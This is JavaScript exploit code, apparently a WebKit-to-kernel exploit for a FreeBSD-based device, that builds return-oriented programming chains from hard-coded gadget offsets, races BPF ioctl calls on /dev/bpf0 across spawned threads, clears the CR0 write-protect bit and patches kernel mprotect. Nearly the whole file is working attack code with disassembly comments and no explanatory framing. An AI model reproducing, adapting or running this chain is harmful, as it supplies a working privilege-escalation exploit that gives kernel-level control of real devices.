function malloc(sz)
{
var backing = new Uint8Array(0x10000+sz);
window.nogc.push(backing);
var ptr = p.read8(p.leakval(backing).add32(0x10));
ptr.backing = backing;
return ptr;
}
function malloc32(sz)
{
var backing = new Uint8Array(0x10000+sz*4);
window.nogc.push(backing);
var ptr = p.read8(p.leakval(backing).add32(0x10));
ptr.backing = new Uint32Array(backing.buffer);
return ptr;
}
var strcpy_helper = new Uint8Array(0x1000);
var where_writeptr_strcpy = p.leakval(strcpy_helper).add32(0x10);
function strcpy(ptr, str)
{
p.write8(where_writeptr_strcpy, ptr);
for (var i = 0; i < str.length; i++)
strcpy_helper[i] = str.charCodeAt(i) & 0xFF;
strcpy_helper[str.length] = 0;
}
var spawnthread = function(name, chain) {
/*
seg000:00000000007FA7D0 sub_7FA7D0 proc near ; DATA XREF: sub_7F8330+5Eo
seg000:00000000007FA7D0 55 push rbp
seg000:00000000007FA7D1 48 89 E5 mov rbp, rsp
seg000:00000000007FA7D4 41 56 push r14
seg000:00000000007FA7D6 53 push rbx
seg000:00000000007FA7D7 48 89 F3 mov rbx, rsi
seg000:00000000007FA7DA 49 89 FE mov r14, rdi
seg000:00000000007FA7DD 48 8D 35 E5 B3 EC 00 lea rsi, aMissingPlteBef ; "Missing PLTE before tRNS"
-> xref:
seg000:00000000007F8380 48 8D 3D 28 D8 EC 00 lea rdi, a1_5_18_0 ; "1.5.18"
seg000:00000000007F8387 48 8D 15 82 23 00 00 lea rdx, sub_7FA710
seg000:00000000007F838E 48 8D 0D 3B 24 00 00 lea rcx, sub_7FA7D0
seg000:00000000007F8395 31 F6 xor esi, esi
seg000:00000000007F8397 49 C7 47 20 00 00 00 00 mov qword ptr [r15+20h], 0
seg000:00000000007F839F 66 41 C7 47 18 00 00 mov word ptr [r15+18h], 0
seg000:00000000007F83A6 49 C7 47 10 00 00 00 00 mov qword ptr [r15+10h], 0
seg000:00000000007F83AE E8 8D 3C D3 00 call sub_152C040
-> code:
m_png = png_create_read_struct(PNG_LIBPNG_VER_STRING, 0, decodingFailed, decodingWarning);
decodingWarning -> contains Missing PLTE before tRNS
decodingFailed -> contains longjmp
seg000:00000000007FA710 sub_7FA710 proc near ; DATA XREF: sub_7F8330+57o
seg000:00000000007FA710 ; sub_7F9DC0+2Eo
seg000:00000000007FA710 55 push rbp
seg000:00000000007FA711 48 89 E5 mov rbp, rsp
seg000:00000000007FA714 48 8B 35 5D B6 E5 02 mov rsi, cs:qword_3655D78
seg000:00000000007FA71B BA 60 00 00 00 mov edx, 60h ; '`'
seg000:00000000007FA720 E8 AB E6 D2 00 call sub_1528DD0
seg000:00000000007FA725 BE 01 00 00 00 mov esi, 1
seg000:00000000007FA72A 48 89 C7 mov rdi, rax
seg000:00000000007FA72D E8 26 6D 80 FF call sub_1458 < longjmp
seg000:00000000007FA732 0F 0B ud2
seg000:00000000007FA732 sub_7FA710 endp
*/
var longjmp = window.webKitBase.add32(0x14e8);
// ThreadIdentifier createThread(ThreadFunction entryPoint, void* data, const char* name)
/*
seg000:00000000001DD17F 48 8D 15 C9 38 4C 01 lea rdx, aWebcoreGccontr ; "WebCore: GCController"
seg000:00000000001DD186 31 F6 xor esi, esi
seg000:00000000001DD188 E8 B3 1B F9 00 call sub_116ED40
*/
var createThread = window.webKitBase.add32(0x779190);
var contextp = malloc32(0x2000);
var contextz = contextp.backing;
contextz[0] = 1337;
var thread2 = new RopChain();
thread2.push(window.gadgets["ret"]); // nop
thread2.push(window.gadgets["ret"]); // nop
thread2.push(window.gadgets["ret"]); // nop
thread2.push(window.gadgets["ret"]); // nop
chain(thread2);
p.write8(contextp, window.gadgets["ret"]); // rip -> ret gadget
p.write8(contextp.add32(0x10), thread2.ropframeptr); // rsp
var retv = function() {p.fcall(createThread, longjmp, contextp, p.sptr(name));}
window.nogc.push(contextp);
window.nogc.push(thread2);
return retv;
}
var fd = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
var fd1 = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
if (fd == (-1 >>> 0))
{
print("kexp failed: no bpf0");
}
var assertcnt = 0;
var assert = function(x)
{
assertcnt++;
if (!x) throw "assertion " + assertcnt + " failed";
}
print("got it");
var bpf_valid = malloc32(0x4000);
var bpf_spray = malloc32(0x4000);
var bpf_valid_u32 = bpf_valid.backing;
var bpf_valid_prog = malloc(0x40);
p.write8(bpf_valid_prog, 0x800/8)
p.write8(bpf_valid_prog.add32(8), bpf_valid)
var bpf_spray_prog = malloc(0x40);
p.write8(bpf_spray_prog, 0x800/8)
p.write8(bpf_spray_prog.add32(8), bpf_spray)
for (var i = 0 ; i < 0x400; )
{
bpf_valid_u32[i++] = 6; // BPF_RET
bpf_valid_u32[i++] = 0;
}
var rtv = p.syscall("ioctl", fd, 0x8010427B, bpf_valid_prog);
assert(rtv.low == 0);
print("okay")
var interrupt1, loop1;
var interrupt2, loop2;
var sock = p.syscall(97, 2, 2)
var kscratch = malloc32(0x100);
var start1 = spawnthread("GottaGoFast", function(thread2){
interrupt1 = thread2.ropframeptr;
thread2.push(window.gadgets["ret"]); // pop rdx
thread2.push(window.gadgets["ret"]); // pop rdx
thread2.push(window.gadgets["ret"]); // pop rdx
thread2.push(window.gadgets["pop rdi"]); // pop rdi
thread2.push(fd); // what
thread2.push(window.gadgets["pop rsi"]); // pop rsi
thread2.push(0x8010427B); // what
thread2.push(window.gadgets["pop rdx"]); // pop rdx
thread2.push(bpf_valid_prog); // what
thread2.push(window.gadgets["pop rsp"]); // pop rdx
thread2.push(thread2.ropframeptr.add32(0x800)); // what
thread2.count = 0x100;
var cntr = thread2.count;
thread2.push(window.syscalls[54]); // ioctl
thread2.push_write8(thread2.ropframeptr.add32(cntr*8), window.syscalls[54]); // restore ioctl
thread2.push(window.gadgets["pop rdi"]); // pop rdi
var wherep = thread2.pushSymbolic(); // where
thread2.push(window.gadgets["pop rsi"]); // pop rsi
var whatp = thread2.pushSymbolic(); // where
thread2.push(window.gadgets["mov [rdi], rsi"]); // perform write
thread2.push(window.gadgets["pop rsp"]); // pop rdx
loop1 = thread2.ropframeptr.add32(thread2.count*8);
thread2.push(0x41414141); // what
thread2.finalizeSymbolic(wherep, loop1);
thread2.finalizeSymbolic(whatp, loop1.sub32(8));
})
var krop = new RopChain();
var race = new RopChain();
var ctxp = malloc32(0x2000);
var ctxp1 = malloc32(0x2000);
p.write8(bpf_spray.add32(16), ctxp);
var prefaultlist = [];
function pfd(addr)
{
var page = addr.add32(0);
page.low &= 0xffffc000;
p.syscall("mlock", page, 0x8000);
p.read4(addr);
return addr;
}
function pf(addr){
var page = addr.add32(0);
page.low &= 0xffffc000;
p.syscall("mlock", page, 0x8000);
var ret = addr.add32(0);
while (1)
{
var opcode = (p.read4(ret) & 0xff);
if (opcode == 0xc3)
{
prefaultlist.push(ret);
break;
}
ret.add32inplace(1);
}
return addr;
}
for (var gadgetname in gadgets) {
if (gadgets.hasOwnProperty(gadgetname)) {
if (gadgetname == "stack_chk_fail" || gadgetname == "memset" || gadgetname == "setjmp") continue;
pf(gadgets[gadgetname]);
}
}
/*
67d27: 48 8b 07 mov (%rdi),%rax
67d2a: ff 50 58 callq *0x58(%rax)
12a184d: 48 83 ec 58 sub $0x58,%rsp
12a1851: 89 55 d4 mov %edx,-0x2c(%rbp)
12a1854: 49 89 fd mov %rdi,%r13
12a1857: 49 89 f7 mov %rsi,%r15
12a185a: 49 8b 45 00 mov 0x0(%r13),%rax
12a185e: ff 90 d0 07 00 00 callq *0x7d0(%rax)
6ef2e5: 48 8b 7f 10 mov 0x10(%rdi),%rdi
6ef2e9: ff 20 jmpq *(%rax)
2728a1: 48 8d 7d d8 lea -0x28(%rbp),%rdi
2728a5: ff 50 40 callq *0x40(%rax)
12846b4: 48 8b 77 08 mov 0x8(%rdi),%rsi
12846b8: 48 8b 7f 18 mov 0x18(%rdi),%rdi
12846bc: 48 8b 07 mov (%rdi),%rax
12846bf: ff 50 30 callq *0x30(%rax)
15ca29b: 48 8b 97 b0 00 00 00 mov 0xb0(%rdi),%rdx
15ca2a2: ff 57 70 callq *0x70(%rdi)
f094a: 48 89 e5 mov %rsp,%rbp
f094d: 48 8b 07 mov (%rdi),%rax
f0950: ff 90 20 04 00 00 callq *0x420(%rax)
*/
var ctxp2 = malloc32(0x2000);
var wk2apf = function(off)
{
var addr = window.webKitBase.add32(off);
pf(addr);
return addr;
}
p.write8(ctxp.add32(0x50), 0);
p.write8(ctxp.add32(0x68), ctxp1);
var stackshift_from_retaddr = 0;
p.write8(ctxp1.add32(0x10), wk2apf(0x12a184d));
stackshift_from_retaddr += 8 + 0x58; // call + sub
p.write8(ctxp.add32(0), ctxp2);
p.write8(ctxp.add32(0x10), ctxp2.add32(8));
p.write8(ctxp2.add32(0x7d0), wk2apf(0x6ef2e5))
// rax = ctxp2, rdi = ctxp2 + 8
var iterbase = ctxp2;
for (var i=0; i<0xf; i++)
{
p.write8(iterbase, wk2apf(0x12a184d))
stackshift_from_retaddr += 8 + 0x58; // call + sub
// rax = ctxp2+0x20
p.write8(iterbase.add32(0x7d0+0x20), wk2apf(0x6ef2e5))
p.write8(iterbase.add32(8), iterbase.add32(0x20));
p.write8(iterbase.add32(0x18), iterbase.add32(0x20+8))
iterbase = iterbase.add32(0x20);
}
var raxbase = iterbase;
var rdibase = iterbase.add32(8);
var memcpy = get_jmptgt(webKitBase.add32(0xf8));
memcpy = p.read8(memcpy);
pf(memcpy);
p.write8(raxbase, wk2apf(0x15ca29b))
stackshift_from_retaddr += 8; // call + sub
p.write8(rdibase.add32(0x70), wk2apf(0x12846b4)); // next gadget
stackshift_from_retaddr += 8; // call + sub
p.write8(rdibase.add32(0x18), rdibase); // rdi
p.write8(rdibase.add32(8), krop.ropframeptr); // rax
p.write8(raxbase.add32(0x30), wk2apf(0xf094a)); // next gadget
p.write8(rdibase, raxbase);
p.write8(raxbase.add32(0x420), wk2apf(0x2728a1)); // next gadget
p.write8(raxbase.add32(0x40), memcpy.add32(0xc2-0x90)); // next gadget (memcpy skipping prolog)
var topofchain = stackshift_from_retaddr + 0x28 ;
p.write8(rdibase.add32(0xb0), topofchain); // rdx
for (var i = 0; i < 0x1000/8; i++)
{
p.write8(krop.ropframeptr.add32(i*8), window.gadgets["ret"]);
}
krop.count = 0x10;
/*
f094a: 48 89 e5 mov %rsp,%rbp
f094d: 48 8b 07 mov (%rdi),%rax
f0950: ff 90 20 04 00 00 callq *0x420(%rax)
2728a1: 48 8d 7d d8 lea -0x28(%rbp),%rdi
2728a5: ff 50 40 callq *0x40(%rax)
55566f: 48 01 c7 add %rax,%rdi
555672: 48 89 f8 mov %rdi,%rax
555675: c3 retq
46ef9: 48 8b 07 mov (%rdi),%rax
46efc: c3 retq
1520c6: 48 01 f0 add %rsi,%rax
1520c9: c3 retq
14536b: 48 89 07 mov %rax,(%rdi)
14536e: c3 retq
1570a1f: 48 21 f0 and %rsi,%rax
1570a22: c3 retq
353a71: 48 89 c2 mov %rax,%rdx
353a74: c3 retq
1cee60: 48 89 d0 mov %rdx,%rax
1cee63: c3 retq
15a3faf: 48 89 c7 mov %rax,%rdi
15a3fb2: c3 retq
6c83a: 48 8b 00 mov (%rax),%rax
6c83d: c3 retq
295dbe: ff e7 jmpq *%rdi
*/
p.write8(kscratch.add32(0x420), window.gadgets["pop rdi"]);
p.write8(kscratch.add32(0x40), window.gadgets["pop rax"]);
p.write8(kscratch.add32(0x18), kscratch);
function set_rdi_rbpoff() {
krop.push(window.gadgets["pop rdi"]); // pop rdi
krop.push(kscratch.add32(0x18)); // what
krop.push(wk2apf(0xf094a)); // rbp = rsp
var rbp_off = topofchain - krop.count*8 + 0x28;
krop.push(wk2apf(0x2728a1)); // rbp = rsp
return rbp_off;
}
function add_to_rdi(imm)
{
krop.push(window.gadgets["pop rax"]); // pop rdi
krop.push(imm); // what
krop.push(wk2apf(0x55566f)); // rbp = rsp
}
var rboff = set_rdi_rbpoff();
add_to_rdi(rboff);
var add_rax = function(imm)
{
krop.push(window.gadgets["pop rsi"]); // pop rsi
krop.push(imm); // what
krop.push(wk2apf(0x1520c6)); // add rsi to rax
}
krop.push(wk2apf(0x46ef9)); // deref rdi in rax
add_rax(0x2fa); // what
krop.push(wk2apf(0x14536b)); // write rax to rdi
var shellbuf = malloc32(0x1000);
var write_rax = function(addr)
{
krop.push(window.gadgets["pop rdi"]); // pop rdi
krop.push(addr); // what
krop.push(wk2apf(0x14536b)); // write rax to rdi
}
var load_rax = function(addr)
{
krop.push(window.gadgets["pop rax"]); // pop rax
krop.push(addr); // what
krop.push(wk2apf(0x6c83a)); // deref rax
}
var and_rax = function(imm)
{
krop.push(window.gadgets["pop rsi"]); // pop rdi
krop.push(imm); // what
krop.push(wk2apf(0x1570a1f)); // and rax to rdi
}
var rax_to_rdx = function()
{
krop.push(wk2apf(0x353a71)); // rax to rdx
}
var rdx_to_rax = function()
{
krop.push(wk2apf(0x1cee60)); // rdx to rax
}
var rax_to_rdi = function()
{
krop.push(wk2apf(0x15a3faf)); // rax to rdi
}
var write_to_rax64 = function(imm)
{
krop.push(window.gadgets["pop rsi"]); // pop rdi
krop.push(imm); // what
krop.push(window.gadgets["mov [rax], rsi"]); // pop rdi
}
write_rax(kscratch); // save address in usermode
add_rax(0xc54b4)
write_rax(kscratch.add32(8)); // save address
krop.push(wk2apf(0x82)); // jmp rax
write_rax(kscratch.add32(16)); // save cr0
and_rax(new int64(0xfffeffff,0xffffffff)); // unset bit
rax_to_rdx();
load_rax(kscratch.add32(8))
add_rax(9)
rax_to_rdi();
rdx_to_rax();
krop.push(wk2apf(0x295dbe)); // jmp rdi
/*
Write Anywhere mode
*/
load_rax(kscratch);
add_rax(0x3609a);
krop.push(wk2apf(0x6c83a)); // deref rax
write_rax(kscratch.add32(0x330)); // rando offset lol
// put patches here. example is mprotect patch
load_rax(kscratch);
add_rax(0x3609a);
write_to_rax64(new int64(0x9090FA38,0x90909090)); // patch mprotect
/*
Disable Write Anywhere mode
*/
load_rax(kscratch.add32(8))
add_rax(9)
rax_to_rdi();
load_rax(kscratch.add32(16))
krop.push(wk2apf(0x295dbe)); // jmp rdi
krop.push(wk2apf(0x5cdb9));
krop.push(kscratch.add32(0x1000));
